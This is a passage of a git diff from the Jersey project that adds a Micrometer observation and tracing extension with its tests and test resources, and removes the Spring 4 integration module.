(c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server.mapper; + +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.Response.Status; +import jakarta.ws.rs.ext.ExceptionMapper; + +import org.glassfish.jersey.micrometer.server.exception.ResourceGoneException; + +public class ResourceGoneExceptionMapper implements ExceptionMapper { + + @Override + public Response toResponse(ResourceGoneException exception) { + return Response.status(Status.GONE).build(); + } + +} diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java new file mode 100644 index 00000000000..0ae7ab64010 --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java @@ -0,0 +1,140 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server.observation; + +import java.util.List; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.core.Application; + +import io.micrometer.core.instrument.MeterRegistry; +import io.micrometer.core.instrument.Tag; +import io.micrometer.core.instrument.Tags; +import io.micrometer.core.instrument.observation.DefaultMeterObservationHandler; +import io.micrometer.core.instrument.simple.SimpleMeterRegistry; +import io.micrometer.observation.ObservationHandler.FirstMatchingCompositeObservationHandler; +import io.micrometer.observation.ObservationRegistry; +import io.micrometer.tracing.Tracer; +import io.micrometer.tracing.exporter.FinishedSpan; +import io.micrometer.tracing.handler.DefaultTracingObservationHandler; +import io.micrometer.tracing.handler.PropagatingReceiverTracingObservationHandler; +import io.micrometer.tracing.handler.PropagatingSenderTracingObservationHandler; +import io.micrometer.tracing.propagation.Propagator; +import io.micrometer.tracing.test.simple.SpanAssert; +import io.micrometer.tracing.test.simple.SpansAssert; +import org.glassfish.jersey.micrometer.server.ObservationApplicationEventListener; +import org.glassfish.jersey.micrometer.server.ObservationRequestEventListener; +import org.glassfish.jersey.micrometer.server.resources.TestResource; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; +import zipkin2.CheckResult; +import zipkin2.reporter.Sender; +import zipkin2.reporter.urlconnection.URLConnectionSender; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * Tests for {@link ObservationRequestEventListener}. + * + * @author Marcin Grzejsczak + */ +abstract class AbstractObservationRequestEventListenerTest extends JerseyTest { + + static { + Logger.getLogger("org.glassfish.jersey").setLevel(Level.OFF); + } + + private static final String METRIC_NAME = "http.server.requests"; + + ObservationRegistry observationRegistry; + + MeterRegistry registry; + + Boolean zipkinAvailable; + + Sender sender; + + @Override + protected Application configure() { + observationRegistry = ObservationRegistry.create(); + registry = new SimpleMeterRegistry(); + sender = URLConnectionSender.create("http://localhost:9411/api/v2/spans"); + + observationRegistry.observationConfig().observationHandler(new DefaultMeterObservationHandler(registry)); + + configureRegistry(observationRegistry); + + final ObservationApplicationEventListener listener = + new ObservationApplicationEventListener(observationRegistry, METRIC_NAME); + + final ResourceConfig config = new ResourceConfig(); + config.register(listener); + config.register(TestResource.class); + + return config; + } + + abstract void configureRegistry(ObservationRegistry registry); + + abstract List getFinishedSpans(); + + boolean isZipkinAvailable() { + if (zipkinAvailable == null) { + CheckResult checkResult = sender.check(); + zipkinAvailable = checkResult.ok(); + } + return zipkinAvailable; + } + + void setupTracing(Tracer tracer, Propagator propagator) { + observationRegistry.observationConfig() + .observationHandler(new FirstMatchingCompositeObservationHandler( + new PropagatingSenderTracingObservationHandler<>(tracer, propagator), + new PropagatingReceiverTracingObservationHandler<>(tracer, propagator), + new DefaultTracingObservationHandler(tracer))); + } + + @Test + void resourcesAreTimed() { + target("sub-resource/sub-hello/peter").request().get(); + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/sub-resource/sub-hello/{name}", "200", "SUCCESS", null)) + .timer() + .count()).isEqualTo(1); + // Timer and Long Task Timer + assertThat(registry.getMeters()).hasSize(2); + + List finishedSpans = getFinishedSpans(); + SpansAssert.assertThat(finishedSpans).hasSize(1); + FinishedSpan finishedSpan = finishedSpans.get(0); + System.out.println("Trace Id [" + finishedSpan.getTraceId() + "]"); + SpanAssert.assertThat(finishedSpan) + .hasNameEqualTo("HTTP GET") + .hasTag("exception", "None") + .hasTag("method", "GET") + .hasTag("outcome", "SUCCESS") + .hasTag("status", "200") + .hasTag("uri", "/sub-resource/sub-hello/{name}"); + } + + private static Iterable tagsFrom(String uri, String status, String outcome, String exception) { + return Tags.of("method", "GET", "uri", uri, "status", status, "outcome", outcome, "exception", + exception == null ? "None" : exception); + } +} diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java new file mode 100644 index 00000000000..0490129633b --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java @@ -0,0 +1,197 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server.observation; + +import java.util.Collections; +import java.util.List; +import java.util.stream.Collectors; + +import brave.Tracing; +import brave.Tracing.Builder; +import brave.context.slf4j.MDCScopeDecorator; +import brave.handler.SpanHandler; +import brave.propagation.B3Propagation; +import brave.propagation.B3Propagation.Format; +import brave.propagation.ThreadLocalCurrentTraceContext; +import brave.sampler.Sampler; +import brave.test.TestSpanHandler; +import io.micrometer.observation.ObservationRegistry; +import io.micrometer.tracing.CurrentTraceContext; +import io.micrometer.tracing.Tracer; +import io.micrometer.tracing.brave.bridge.BraveBaggageManager; +import io.micrometer.tracing.brave.bridge.BraveCurrentTraceContext; +import io.micrometer.tracing.brave.bridge.BraveFinishedSpan; +import io.micrometer.tracing.brave.bridge.BravePropagator; +import io.micrometer.tracing.brave.bridge.BraveTracer; +import io.micrometer.tracing.exporter.FinishedSpan; +import io.micrometer.tracing.otel.bridge.ArrayListSpanProcessor; +import io.micrometer.tracing.otel.bridge.OtelBaggageManager; +import io.micrometer.tracing.otel.bridge.OtelCurrentTraceContext; +import io.micrometer.tracing.otel.bridge.OtelFinishedSpan; +import io.micrometer.tracing.otel.bridge.OtelPropagator; +import io.micrometer.tracing.otel.bridge.OtelTracer; +import io.micrometer.tracing.otel.bridge.Slf4JBaggageEventListener; +import io.micrometer.tracing.otel.bridge.Slf4JEventListener; +import io.opentelemetry.api.common.Attributes; +import io.opentelemetry.context.propagation.ContextPropagators; +import io.opentelemetry.exporter.zipkin.ZipkinSpanExporterBuilder; +import io.opentelemetry.extension.trace.propagation.B3Propagator; +import io.opentelemetry.sdk.OpenTelemetrySdk; +import io.opentelemetry.sdk.resources.Resource; +import io.opentelemetry.sdk.trace.SdkTracerProvider; +import io.opentelemetry.sdk.trace.SdkTracerProviderBuilder; +import io.opentelemetry.sdk.trace.export.SimpleSpanProcessor; +import io.opentelemetry.sdk.trace.export.SpanExporter; +import io.opentelemetry.semconv.resource.attributes.ResourceAttributes; +import org.glassfish.jersey.micrometer.server.ObservationApplicationEventListener; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.Nested; +import zipkin2.Span; +import zipkin2.reporter.AsyncReporter; +import zipkin2.reporter.brave.ZipkinSpanHandler; + +import static io.opentelemetry.sdk.trace.samplers.Sampler.alwaysOn; + +/** + * Tests for {@link ObservationApplicationEventListener}. + * + * @author Marcin Grzejsczak + */ +class ObservationApplicationEventListenerTest { + + @Nested + class BraveObservationRequestEventListenerTest extends AbstractObservationRequestEventListenerTest { + + Tracing tracing; + + TestSpanHandler testSpanHandler; + + AsyncReporter reporter; + + @Override + void configureRegistry(ObservationRegistry registry) { + testSpanHandler = new TestSpanHandler(); + + reporter = AsyncReporter.create(sender); + + SpanHandler spanHandler = ZipkinSpanHandler + .create(reporter); + + ThreadLocalCurrentTraceContext braveCurrentTraceContext = ThreadLocalCurrentTraceContext.newBuilder() + .addScopeDecorator(MDCScopeDecorator.get()) // Example of Brave's + // automatic MDC setup + .build(); + + CurrentTraceContext bridgeContext = new BraveCurrentTraceContext(braveCurrentTraceContext); + + Builder builder = Tracing.newBuilder() + .currentTraceContext(braveCurrentTraceContext) + .supportsJoin(false) + .traceId128Bit(true) + .propagationFactory(B3Propagation.newFactoryBuilder().injectFormat(Format.SINGLE).build()) + .sampler(Sampler.ALWAYS_SAMPLE) + .addSpanHandler(testSpanHandler) + .localServiceName("brave-test"); + + if (isZipkinAvailable()) { + builder.addSpanHandler(spanHandler); + } + + tracing = builder + .build(); + brave.Tracer braveTracer = tracing.tracer(); + Tracer tracer = new BraveTracer(braveTracer, bridgeContext, new BraveBaggageManager()); + BravePropagator bravePropagator = new BravePropagator(tracing); + setupTracing(tracer, bravePropagator); + } + + @Override + List getFinishedSpans() { + return testSpanHandler.spans().stream().map(BraveFinishedSpan::new).collect(Collectors.toList()); + } + + @AfterEach + void cleanup() { + if (isZipkinAvailable()) { + reporter.flush(); + reporter.close(); + } + tracing.close(); + } + } + + @Nested + class OtelObservationRequestEventListenerTest extends AbstractObservationRequestEventListenerTest { + + SdkTracerProvider sdkTracerProvider; + + ArrayListSpanProcessor processor; + + @Override + void configureRegistry(ObservationRegistry registry) { + processor = new ArrayListSpanProcessor(); + + SpanExporter spanExporter = new ZipkinSpanExporterBuilder() + .setSender(sender) + .build(); + + SdkTracerProviderBuilder builder = SdkTracerProvider.builder() + .setSampler(alwaysOn()) + .addSpanProcessor(processor) + .setResource(Resource.create(Attributes.of(ResourceAttributes.SERVICE_NAME, "otel-test"))); + + if (isZipkinAvailable()) { + builder.addSpanProcessor(SimpleSpanProcessor.create(spanExporter)); + } + + sdkTracerProvider = builder + .build(); + + ContextPropagators contextPropagators = ContextPropagators.create(B3Propagator.injectingSingleHeader()); + + OpenTelemetrySdk openTelemetrySdk = OpenTelemetrySdk.builder() + .setTracerProvider(sdkTracerProvider) + .setPropagators(contextPropagators) + .build(); + + io.opentelemetry.api.trace.Tracer otelTracer = openTelemetrySdk.getTracerProvider() + .get("io.micrometer.micrometer-tracing"); + + OtelCurrentTraceContext otelCurrentTraceContext = new OtelCurrentTraceContext(); + + Slf4JEventListener slf4JEventListener = new Slf4JEventListener(); + + Slf4JBaggageEventListener slf4JBaggageEventListener = new Slf4JBaggageEventListener(Collections.emptyList()); + + OtelTracer tracer = new OtelTracer(otelTracer, otelCurrentTraceContext, event -> { + slf4JEventListener.onEvent(event); + slf4JBaggageEventListener.onEvent(event); + }, new OtelBaggageManager(otelCurrentTraceContext, Collections.emptyList(), Collections.emptyList())); + OtelPropagator otelPropagator = new OtelPropagator(contextPropagators, otelTracer); + setupTracing(tracer, otelPropagator); + } + + @Override + List getFinishedSpans() { + return processor.spans().stream().map(OtelFinishedSpan::fromOtel).collect(Collectors.toList()); + } + + @AfterEach + void cleanup() { + sdkTracerProvider.close(); + } + } +} diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TestResource.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TestResource.java new file mode 100644 index 00000000000..41e529d9a47 --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TestResource.java @@ -0,0 +1,106 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server.resources; + +import java.net.URI; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.NotAuthorizedException; +import jakarta.ws.rs.NotFoundException; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.PathParam; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.RedirectionException; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.Response.Status; + +import org.glassfish.jersey.micrometer.server.exception.ResourceGoneException; + +/** + * @author Michael Weirauch + */ +@Path("/") +@Produces(MediaType.TEXT_PLAIN) +public class TestResource { + + @Produces(MediaType.TEXT_PLAIN) + public static class SubResource { + + @GET + @Path("sub-hello/{name}") + public String hello(@PathParam("name") String name) { + return "hello " + name; + } + + } + + @GET + public String index() { + return "index"; + } + + @GET + @Path("hello") + public String hello() { + return "hello"; + } + + @GET + @Path("hello/{name}") + public String hello(@PathParam("name") String name) { + return "hello " + name; + } + + @GET + @Path("throws-not-found-exception") + public String throwsNotFoundException() { + throw new NotFoundException(); + } + + @GET + @Path("throws-exception") + public String throwsException() { + throw new IllegalArgumentException(); + } + + @GET + @Path("throws-webapplication-exception") + public String throwsWebApplicationException() { + throw new NotAuthorizedException("notauth", Response.status(Status.UNAUTHORIZED).build()); + } + + @GET + @Path("throws-mappable-exception") + public String throwsMappableException() { + throw new ResourceGoneException("Resource has been permanently removed."); + } + + @GET + @Path("redirect/{status}") + public Response redirect(@PathParam("status") int status) { + if (status == 307) { + throw new RedirectionException(status, URI.create("hello")); + } + return Response.status(status).header("Location", "/hello").build(); + } + + @Path("/sub-resource") + public SubResource subResource() { + return new SubResource(); + } + +} diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/SpringRequestResource.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedOnClassResource.java similarity index 58% rename from ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/SpringRequestResource.java rename to ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedOnClassResource.java index e05de3da6c5..20f92fbd375 100644 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/SpringRequestResource.java +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedOnClassResource.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -13,31 +13,34 @@ * * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ +package org.glassfish.jersey.micrometer.server.resources; -package org.glassfish.jersey.server.spring.profiles; - -import jakarta.inject.Singleton; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; import jakarta.ws.rs.Produces; import jakarta.ws.rs.core.MediaType; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; - +import io.micrometer.core.annotation.Timed; -@Singleton -@Path("spring-resource") -@Service -public class SpringRequestResource { +/** + * @author Michael Weirauch + */ +@Path("/class") +@Produces(MediaType.TEXT_PLAIN) +@Timed(extraTags = { "on", "class" }) +public class TimedOnClassResource { - @Autowired - private TestService testService; + @GET + @Path("inherited") + public String inherited() { + return "inherited"; + } @GET - @Produces(MediaType.TEXT_PLAIN) - public String getGoodbye() { - return testService.test(); + @Path("on-method") + @Timed(extraTags = { "on", "method" }) + public String onMethod() { + return "on-method"; } } diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedResource.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedResource.java new file mode 100644 index 00000000000..cbf449553ea --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedResource.java @@ -0,0 +1,107 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server.resources; + +import java.util.concurrent.CountDownLatch; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.core.MediaType; + +import io.micrometer.core.annotation.Timed; + +import static java.util.Objects.requireNonNull; + +/** + * @author Michael Weirauch + */ +@Path("/") +@Produces(MediaType.TEXT_PLAIN) +public class TimedResource { + + private final CountDownLatch longTaskRequestStartedLatch; + + private final CountDownLatch longTaskRequestReleaseLatch; + + public TimedResource(CountDownLatch longTaskRequestStartedLatch, CountDownLatch longTaskRequestReleaseLatch) { + this.longTaskRequestStartedLatch = requireNonNull(longTaskRequestStartedLatch); + this.longTaskRequestReleaseLatch = requireNonNull(longTaskRequestReleaseLatch); + } + + @GET + @Path("not-timed") + public String notTimed() { + return "not-timed"; + } + + @GET + @Path("timed") + @Timed + public String timed() { + return "timed"; + } + + @GET + @Path("multi-timed") + @Timed("multi1") + @Timed("multi2") + public String multiTimed() { + return "multi-timed"; + } + + /* + * Async server side processing (AsyncResponse) is not supported in the in-memory test + * container. + */ + @GET + @Path("long-timed") + @Timed + @Timed(value = "long.task.in.request", longTask = true) + public String longTimed() { + longTaskRequestStartedLatch.countDown(); + try { + longTaskRequestReleaseLatch.await(); + } + catch (InterruptedException e) { + throw new RuntimeException(e); + } + return "long-timed"; + } + + @GET + @Path("just-long-timed") + @Timed(value = "long.task.in.request", longTask = true) + public String justLongTimed() { + longTaskRequestStartedLatch.countDown(); + try { + longTaskRequestReleaseLatch.await(); + } + catch (InterruptedException e) { + throw new RuntimeException(e); + } + return "long-timed"; + } + + @GET + @Path("long-timed-unnamed") + @Timed + @Timed(longTask = true) + public String longTimedUnnamed() { + return "long-timed-unnamed"; + } + +} diff --git a/ext/microprofile/mp-config/pom.xml b/ext/microprofile/mp-config/pom.xml index 12c3b1a61db..7e7aa30feef 100644 --- a/ext/microprofile/mp-config/pom.xml +++ b/ext/microprofile/mp-config/pom.xml @@ -1,7 +1,7 @@ + spring6 wadl-doclet microprofile @@ -66,8 +64,8 @@ - junit - junit + org.junit.jupiter + junit-jupiter test diff --git a/ext/proxy-client/pom.xml b/ext/proxy-client/pom.xml index 26526f6622b..b8220289755 100644 --- a/ext/proxy-client/pom.xml +++ b/ext/proxy-client/pom.xml @@ -1,7 +1,7 @@ - - - - 4.0.0 - - - org.glassfish.jersey.ext - project - 3.0.0-SNAPSHOT - - - jersey-spring4 - jersey-spring4 - - jar - - - Jersey extension module providing support for Spring 4 integration. - - - - - org.glassfish.jersey.core - jersey-server - ${project.version} - - - - org.glassfish.jersey.inject - jersey-hk2 - ${project.version} - - - - org.glassfish.jersey.containers - jersey-container-servlet-core - ${project.version} - - - - org.glassfish.jersey.test-framework.providers - jersey-test-framework-provider-grizzly2 - ${project.version} - test - - - - commons-logging - commons-logging - 1.2 - test - - - - org.glassfish.hk2 - hk2 - ${hk2.version} - - - - org.glassfish.hk2 - spring-bridge - ${hk2.version} - - - jakarta.inject - jakarta.inject-api - - - org.glassfish.hk2 - hk2-api - - - - - - org.springframework - spring-beans - ${spring4.version} - - - - org.springframework - spring-core - ${spring4.version} - - - commons-logging - commons-logging - - - - - - org.springframework - spring-web - ${spring4.version} - - - - org.springframework - spring-aop - ${spring4.version} - - - - jakarta.servlet - jakarta.servlet-api - ${servlet4.version} - provided - - - - org.glassfish.jersey.test-framework - jersey-test-framework-core - ${project.version} - test - - - - org.aspectj - aspectjrt - 1.6.11 - test - - - org.aspectj - aspectjweaver - 1.6.11 - test - - - - - - - - com.sun.istack - istack-commons-maven-plugin - true - - - org.codehaus.mojo - build-helper-maven-plugin - true - - - - - - - jakartification_exclude_tests - - [1.8,) - - - - - org.apache.maven.plugins - maven-surefire-plugin - - true - - - - - - - delayed-strategy-skip-test - - - org.glassfish.jersey.injection.manager.strategy - delayed - - - - - - org.apache.maven.plugins - maven-surefire-plugin - - true - - - - - - - ignore.on.jdk16 - - - [16,) - - - - - org.apache.maven.plugins - maven-surefire-plugin - - true - - - - - - - diff --git a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java b/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java deleted file mode 100644 index 1158fc60caf..00000000000 --- a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java +++ /dev/null @@ -1,119 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring; - -import java.lang.reflect.AnnotatedElement; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.HashSet; -import java.util.Set; -import java.util.logging.Logger; - -import jakarta.inject.Singleton; - -import org.glassfish.jersey.internal.inject.Injectee; -import org.glassfish.jersey.internal.inject.InjectionResolver; - -import org.springframework.beans.factory.NoSuchBeanDefinitionException; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Qualifier; -import org.springframework.beans.factory.config.DependencyDescriptor; -import org.springframework.context.ApplicationContext; -import org.springframework.core.MethodParameter; - -/** - * HK2 injection resolver for Spring framework {@link Autowired} annotation injection. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - * @author Vetle Leinonen-Roeim (vetle at roeim.net) - */ -@Singleton -public class AutowiredInjectResolver implements InjectionResolver { - - private static final Logger LOGGER = Logger.getLogger(AutowiredInjectResolver.class.getName()); - - private volatile ApplicationContext ctx; - - /** - * Create a new instance. - * - * @param ctx Spring application context. - */ - public AutowiredInjectResolver(ApplicationContext ctx) { - this.ctx = ctx; - } - - @Override - public Object resolve(Injectee injectee) { - AnnotatedElement parent = injectee.getParent(); - String beanName = null; - if (parent != null) { - Qualifier an = parent.getAnnotation(Qualifier.class); - if (an != null) { - beanName = an.value(); - } - } - boolean required = parent != null ? parent.getAnnotation(Autowired.class).required() : false; - return getBeanFromSpringContext(beanName, injectee, required); - } - - private Object getBeanFromSpringContext(String beanName, Injectee injectee, final boolean required) { - try { - DependencyDescriptor dependencyDescriptor = createSpringDependencyDescriptor(injectee); - Set autowiredBeanNames = new HashSet<>(1); - autowiredBeanNames.add(beanName); - return ctx.getAutowireCapableBeanFactory().resolveDependency(dependencyDescriptor, null, - autowiredBeanNames, null); - } catch (NoSuchBeanDefinitionException e) { - if (required) { - LOGGER.warning(e.getMessage()); - throw e; - } - return null; - } - } - - private DependencyDescriptor createSpringDependencyDescriptor(final Injectee injectee) { - AnnotatedElement annotatedElement = injectee.getParent(); - - if (annotatedElement.getClass().isAssignableFrom(Field.class)) { - return new DependencyDescriptor((Field) annotatedElement, !injectee.isOptional()); - } else if (annotatedElement.getClass().isAssignableFrom(Method.class)) { - return new DependencyDescriptor( - new MethodParameter((Method) annotatedElement, injectee.getPosition()), !injectee.isOptional()); - } else { - return new DependencyDescriptor( - new MethodParameter((Constructor) annotatedElement, injectee.getPosition()), !injectee.isOptional()); - } - } - - @Override - public boolean isConstructorParameterIndicator() { - return false; - } - - @Override - public boolean isMethodParameterIndicator() { - return false; - } - - @Override - public Class getAnnotation() { - return Autowired.class; - } -} diff --git a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java b/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java deleted file mode 100644 index ec22efaeb60..00000000000 --- a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java +++ /dev/null @@ -1,94 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.scope; - -import jakarta.ws.rs.container.ContainerRequestContext; - -import org.glassfish.jersey.server.spring.LocalizationMessages; -import org.springframework.util.StringUtils; -import org.springframework.web.context.request.AbstractRequestAttributes; - -/** - * JAX-RS based Spring RequestAttributes implementation. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - * @author Marek Potociar - */ -class JaxrsRequestAttributes extends AbstractRequestAttributes { - - private final ContainerRequestContext requestContext; - - /** - * Create a new instance. - * - * @param requestContext JAX-RS container request context - */ - public JaxrsRequestAttributes(ContainerRequestContext requestContext) { - this.requestContext = requestContext; - } - - @Override - protected void updateAccessedSessionAttributes() { - // sessions not supported - } - - @Override - public Object getAttribute(String name, int scope) { - return requestContext.getProperty(name); - } - - @Override - public void setAttribute(String name, Object value, int scope) { - requestContext.setProperty(name, value); - } - - @Override - public void removeAttribute(String name, int scope) { - requestContext.removeProperty(name); - } - - @Override - public String[] getAttributeNames(int scope) { - if (!isRequestActive()) { - throw new IllegalStateException(LocalizationMessages.NOT_IN_REQUEST_SCOPE()); - } - return StringUtils.toStringArray(requestContext.getPropertyNames()); - } - - @Override - public void registerDestructionCallback(String name, Runnable callback, int scope) { - registerRequestDestructionCallback(name, callback); - } - - @Override - public Object resolveReference(String key) { - if (REFERENCE_REQUEST.equals(key)) { - return requestContext; - } - return null; - } - - @Override - public String getSessionId() { - return null; - } - - @Override - public Object getSessionMutex() { - return null; - } -} diff --git a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java b/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java deleted file mode 100644 index a3ac9d12356..00000000000 --- a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java +++ /dev/null @@ -1,55 +0,0 @@ -/* - * Copyright (c) 2016, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.scope; - -import jakarta.ws.rs.container.ContainerRequestContext; - -import jakarta.servlet.http.HttpServletRequest; - -import org.springframework.web.context.request.ServletRequestAttributes; - -/** - * JAX-RS based Spring RequestAttributes implementation for Servlet-based applications. - * - * @author Marek Potociar - */ -class JaxrsServletRequestAttributes extends ServletRequestAttributes { - - private final ContainerRequestContext requestContext; - - /** - * Create a new JAX-RS ServletRequestAttributes instance for the given request. - * - * @param request current HTTP request - * @param requestContext JAX-RS request context - */ - public JaxrsServletRequestAttributes(final HttpServletRequest request, final ContainerRequestContext requestContext) { - super(request); - this.requestContext = requestContext; - } - - @Override - public Object resolveReference(String key) { - if (REFERENCE_REQUEST.equals(key)) { - return this.requestContext; - } else if (REFERENCE_SESSION.equals(key)) { - return super.getSession(true); - } else { - return null; - } - } -} diff --git 